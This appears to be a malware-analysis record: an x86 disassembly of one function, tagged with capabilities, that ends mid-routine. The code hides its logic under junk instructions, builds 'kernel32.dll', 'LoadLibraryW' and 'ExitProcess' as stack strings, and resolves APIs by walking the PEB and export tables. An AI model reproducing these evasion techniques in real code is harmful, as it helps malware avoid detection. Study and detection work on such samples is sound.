Function at 0x4a23f7
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
add esp, 4
and ecx, 0x3cdf
jmp 0x4a1e74
pop ecx
push edx
xor edx, 0xf07c
add edx, 0x115ad
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4a1fc5
cmp dword [ebp - 0x14d0], 0
jne 0x4a200e
push ecx
push eax
add esp, 4
call 0x4a1fdf
add byte [ebp + 0x3b], cl
cmp dword [ebx], edi
push eax
add esp, 4
pop ecx
push eax
xor eax, 0x1139f
xor eax, 0x1347f
jmp 0x4a1ff9
add eax, 0x9e62
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x4a204f
jmp 0x4a1d5c
push ebx
jmp 0x4a2059
sub ebx, 0x6fa2
xor ebx, 0x2ffa
pop ebx
push ebx
and ebx, 0x1182f
jmp 0x4a2074
or ebx, 0x12f79
add ebx, 0x12856
pop ebx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
jmp 0x4a20dd
pop eax
push ebx
jmp 0x4a20e6
add ebx, 0xfd42
jmp 0x4a20f3
pop ebx
push edx
call 0x4a2103
add byte [ebp + 0x43], cl
inc eax
aaa
dec eax
add esp, 4
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
push edx
add esp, 4
and ecx, 0x123eb
pop ecx
push esi
sub esi, 0x702f
or esi, 0x137d7
pop esi
push eax
push eax
add esp, 4
add eax, 0x14b5b
and eax, 0x45cf
sub eax, 0xc41f
pop eax
push esi
sub esi, 0xf1c3
call 0x4a21e5
add byte [edi + 0x37], cl
inc ebx
inc ebp
cmp ecx, dword [ecx - 0x7d]
les eax, [esi + ebx*2]
push esi
push ecx
add esp, 4
jmp 0x4a21f5
jmp 0x4a21fc
pop esi
push esi
jmp 0x4a2203
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
push edi
add esp, 4
xor edx, 0xf791
sub edx, 0x10cce
jmp 0x4a2246
jmp 0x4a224b
pop edx
push ebx
push edi
add esp, 4
and ebx, 0x7621
xor ebx, 0x14b82
pop ebx
cmp dword [ebp - 0x14d4], 0
jne 0x4a2276
mov dword [ebp - 0x2e0], 0
jmp 0x4a2532
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
push eax
add esp, 4
or eax, 0x157a8
and eax, 0xce32
and eax, 0x15102
pop eax
push esi
call 0x4a22ae
add byte [esi + 0x3d], cl
inc eax
dec ebp
inc ecx
inc ebp
add esp, 4
pop esi
push esi
or esi, 0x566c
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x4a22d2
mov dword [ebp - 0x2e0], 0
jmp 0x4a2532
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
xor esi, 0x356c
pop esi
push edx
and edx, 0x15507
jmp 0x4a22f3
add edx, 0xc136
add edx, 0x7115
pop edx
push edi
xor edi, 0x6d5e
pop edi
push ecx
sub ecx, 0x4c5a
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ecx
add ecx, 0x16183
or ecx, 0xb8f6
add ecx, 0x10bd2
pop ecx
push ebx
push edx
add esp, 4
xor ebx, 0xaae0
jmp 0x4a2362
add ebx, 0x9523
xor ebx, 0x11222
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
push ebx
add esp, 4
add ecx, 0x106af
call 0x4a23e0
add byte [ebx], bh
cmp esi, dword [eax*2 - 0x3b7cbdc6]
add al, 0x59
push esi
sub esi, 0x14204
call 0x4a23f7
add byte [esi + 0x33], al
inc ebx
dec ebx
dec ebx
xor eax, 0x5e04c483
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4a241e
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x4a2481
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4a233d
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4a233d
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x4a246b
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x4a2475
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4a24ca
push edi
push ecx
add esp, 4
jmp 0x4a2497
add edi, 0x103e6
and edi, 0x152af
pop edi
push ecx
push edx
add esp, 4
add ecx, 0x13494
or ecx, 0x14e42
xor ecx, 0x11542
pop ecx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4a2532
push edx
and edx, 0x1589e
or edx, 0x10c44
or edx, 0xbbb1
or edx, 0xb6f1
pop edx
push esi
push ecx
add esp, 4
add esi, 0x13262
pop esi
push ecx
push ebx
add esp, 4
sub ecx, 0x4f1e
pop ecx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4a2528
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4a22de
mov dword [ebp - 0x2e0], 0
push ecx
push ebx
add esp, 4
add ecx, 0x7729
and ecx, 0xc550
sub ecx, 0x158ac
pop ecx
push esi
or esi, 0x11f95
and esi, 0x55d7
and esi, 0x8b01
or esi, 0x5af5
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x4a2e7d
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
push ecx
add esp, 4
and edx, 0xccf1
pop edx
push esi
push edx
add esp, 4
and esi, 0xdbeb
or esi, 0xef27
pop esi
push edx
or edx, 0x1c2d
and edx, 0x11059
or edx, 0x996
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
add ecx, 0x13b6e
xor ecx, 0x7e70
xor ecx, 0xbb15
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0x283e
and ecx, 0xf6d9
or ecx, 0x3505
sub ecx, 0x1cf
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x4a2708
mov dword [ebp - 0x6ec], 0
jmp 0x4a29c4
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
push edi
add esp, 4
add ecx, 0x17be0
jmp 0x4a272b
pop ecx
push edx
push ecx
add esp, 4
xor edx, 0xef9a
jmp 0x4a273f
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x112a6
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x4a2764
mov dword [ebp - 0x6ec], 0
jmp 0x4a29c4
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
sub edx, 0x132c7
call 0x4a2787
add byte [edi], bh
dec edi
cmp al, 0x3a
xor al, 0x3c
xor al, byte [ebx + 0x4b]
inc esp
add esp, 4
and edx, 0x12c06
call 0x4a279e
add byte [esi], bh
dec ebx
cmp edi, dword [edi]
aas
inc ebx
cmp bh, byte [edx]
add esp, 4
pop edx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
push esi
add esp, 4
add eax, 0x1402e
pop eax
push ecx
push ecx
add esp, 4
add ecx, 0x12dce
add ecx, 0x10033
or ecx, 0x10928
pop ecx
push eax
sub eax, 0x1d14
xor eax, 0x17db4
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
push edi
add esp, 4
and edx, 0xde6e
sub edx, 0xd0e5
or edx, 0x15792
sub edx, 0x560e
pop edx
push edx
xor edx, 0xe6a4
and edx, 0x1418f
and edx, 0x17608
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x4a28b0
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x4a2913
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x4a27cf
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x4a27cf
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x4a28fd
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x4a2907
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x4a295c
push ebx
call 0x4a292c
add byte [edi + 0x38], cl
aaa
cmp byte [ecx + 0x3d], cl
inc ecx
aaa
cmp al, byte [ebx + 0x505b04c4]
push esi
add esp, 4
call 0x4a2942
add byte [eax], bh
dec ebx
inc ebx
dec ebx
dec esi
cmp byte [ebx + 0x6eb04c4], al
aas
xor eax, 0x4d42354d
pop eax
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x4a29c4
push ebx
push ebx
add esp, 4
jmp 0x4a2969
pop ebx
push edx
push edi
add esp, 4
xor edx, 0x1262c
pop edx
push esi
jmp 0x4a297f
pop esi
push edi
or edi, 0x968e
and edi, 0x13e3e
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x4a29ba
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x4a2770
mov dword [ebp - 0x6ec], 0
push esi
and esi, 0x379e
or esi, 0x59fa
jmp 0x4a29d8
pop esi
push esi
push ecx
add esp, 4
jmp 0x4a29e3
pop esi
push esi
push eax
add esp, 4
sub esi, 0xc50d
or esi, 0x13cb7
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x4a2a40
push esi
and esi, 0x14ace
call 0x4a2a13
add byte [ebx], bh
dec esi
cmp edi, dword [eax]
inc ebp
inc esi
aas
add esp, 4
call 0x4a2a26
add byte [ebp + 0x38], cl
xor al, 0x45
dec ebp
cmp al, 0x48
xor al, 0x48
dec eax
add esp, 4
jmp 0x4a2a30
pop esi
mov dword [ebp - 0x738], 0
jmp 0x4a3567
push ebx
push edi
add esp, 4
and ebx, 0x125cd
pop ebx
push edi
push edi
add esp, 4
jmp 0x4a2a59
add edi, 0xd72f
add edi, 0x55bf
pop edi
push edi
push edx
add esp, 4
or edi, 0xca84
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x4a2ab1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x4a2da2
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x4a2ad9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x4a2da2
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x4a2b0b
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x4a2da2
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4a2b30
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x4a2da2
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x4a2b8a
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x4a2d96
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x4a2bfa
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x4a2cac
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x4a2cac
push edx
push edx
add esp, 4
or edx, 0x6b6d
pop edx
push esi
or esi, 0x134e7
or esi, 0x1756a
or esi, 0x17c0b
pop esi
push edx
push edx
add esp, 4
xor edx, 0x145de
and edx, 0xf89a
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x4a2c9e
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x4a2ca5
jmp 0x4a2beb
jmp 0x4a2cac
push edi
sub edi, 0x11d81
pop edi
push edx
push ecx
add esp, 4
or edx, 0x12597
add edx, 0x159ba
call 0x4a2cd3
add byte [0x393c414a], bh
dec edi
xor eax, 0xeb04c483
add eax, 0x4d473533
inc ecx
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x4a2d0b
mov dword [ebp - 0xc30], 0
jmp 0x4a2d7a
push ebx
push ebx
add esp, 4
and ebx, 0x690e
xor ebx, 0x12723
pop ebx
push eax
push esi
add esp, 4
add eax, 0x154ee
jmp 0x4a2d30
xor eax, 0x6376
sub eax, 0x1695b
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x4a2d70
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x4a2d7a
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x4a2d91
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x4a2da2
jmp 0x4a2b7b
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x4a2e7d
push esi
jmp 0x4a2db9
jmp 0x4a2dbe
pop esi
push esi
jmp 0x4a2dc6
pop esi
push esi
and esi, 0x76f
add esi, 0x9b0f
or esi, 0x3d51
add esi, 0x92bc
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
sub esi, 0x2959
sub esi, 0x15d50
pop esi
push edi
call 0x4a2e09
add byte [eax + 0x3f], al
dec edi
xor al, 0x34
dec esi
cmp dword [ebx - 0x307efb3c], eax
inc edx
outsd dx, dword [esi]
add dword [eax], eax
xor edi, 0x7438
and edi, 0x797a
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x4a2e7d
push edx
and edx, 0xea97
sub edx, 0x69e3
add edx, 0x40ff
call 0x4a2e5e
add byte [edx], bh
aas
dec eax
cmp esi, dword [0x374a4639]
add esp, 4
pop edx
push edx
push ebx
add esp, 4
and edx, 0x2144
pop edx
mov dword [ebp - 0x738], 0
jmp 0x4a3567
push ebx
or ebx, 0xf8a3
call 0x4a2e93
add byte [edx], dh
cmp eax, 0x48413737
push eax
cmp al, byte ds:[ebx - 0x3c7efb3c]
xchg esi, eax
push cs
add dword [eax], eax
pop ebx
push ecx
push eax
add esp, 4
add ecx, 0x10bdb
sub ecx, 0x6313
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
push eax
add esp, 4
sub eax, 0x4036
and eax, 0xfdfe
call 0x4a2ef6
add byte [ebp + 0x4e], cl
dec ecx
inc edx
xor eax, 0x83423732
les eax, [ecx + eax*4]
ror byte [ecx - 0x12], 0
add byte [eax + 0x56], bl
add esi, 0x102a2
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x4a2f20
mov dword [ebp - 0x2e0], 0
jmp 0x4a31c7
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
call 0x4a2f42
add byte [edi + 0x4a], al
cmp esi, dword [edx]
inc eax
dec edi
dec edi
xor edi, dword [edi]
add esp, 4
sub edx, 0x14508
pop edx
push edx
push eax
add esp, 4
add edx, 0x5058
sub edx, 0xb144
or edx, 0x14d6b
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x4a2f7c
mov dword [ebp - 0x2e0], 0
jmp 0x4a31c7
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edi
push eax
add esp, 4
or edi, 0xa055
or edi, 0xf852
add edi, 0x101a1
or edi, 0x64d2
pop edi
push edi
and edi, 0x992e
xor edi, 0x9c2
or edi, 0x12c14
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edx
and edx, 0xb7f1
sub edx, 0xdec0
or edx, 0xbab4
pop edx
push edx
sub edx, 0x160bb
call 0x4a300b
add byte [ebx + 0x3a], cl
cmp eax, dword [ecx + 0x44]
cmp dword [ebx + 0x5eb04c4], eax
dec esi
dec ebp
cmp dword [ecx + 0x43], ecx
pop edx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edi
and edi, 0x13638
pop edi
push edx
and edx, 0x17b8a
sub edx, 0xeb52
pop edx
push edx
push ecx
add esp, 4
and edx, 0xcbd5
call 0x4a309b
add byte [edi], dh
cmp byte [0x424d493d], bh
add esp, 4
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4a30bc
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4a3116
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4a2fe4
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4a2fe4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4a3100
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4a310a
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x4a315f
push edx
or edx, 0x1bb0
and edx, 0x14bd3
pop edx
push ecx
push edx
add esp, 4
and ecx, 0x824a
pop ecx
push eax
push esi
add esp, 4
xor eax, 0x2af8
or eax, 0x9171
add eax, 0x6007
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x4a31c7
push eax
and eax, 0xe6b9
or eax, 0x5683
add eax, 0xb018
add eax, 0x5a6f
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x6f61
pop ecx
push edx
push ecx
add esp, 4
or edx, 0x120cb
pop edx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x4a31bd
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x4a2f88
mov dword [ebp - 0x2e0], 0
push ecx
push esi
add esp, 4
or ecx, 0xd14
and ecx, 0x504b
jmp 0x4a31dd
jmp 0x4a31e6
pop ecx
push eax
push edi
add esp, 4
jmp 0x4a31f2
add eax, 0x32ee
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
push eax
add esp, 4
or ebx, 0xa621
xor ebx, 0x9b69
xor ebx, 0x6f6f
pop ebx
push ebx
sub ebx, 0xdc7c
sub ebx, 0x6b66
sub ebx, 0x120e0
and ebx, 0x945d
pop ebx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x4a326a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4a355b
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x4a3292
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4a355b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x4a32c4
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x4a355b
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x4a32e9
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x4a355b
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4a3343
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4a354f
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x4a33b3
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x4a3465
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x4a3465
push edx
call 0x4a33ee
add byte [eax + 0x40], cl
cmp al, 0x4a
dec eax
cmp eax, 0x4c4833c
xor edx, 0x756b
add edx, 0x13287
add edx, 0xc697
pop edx
push edi
and edi, 0xd366
xor edi, 0x97aa
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x4a3457
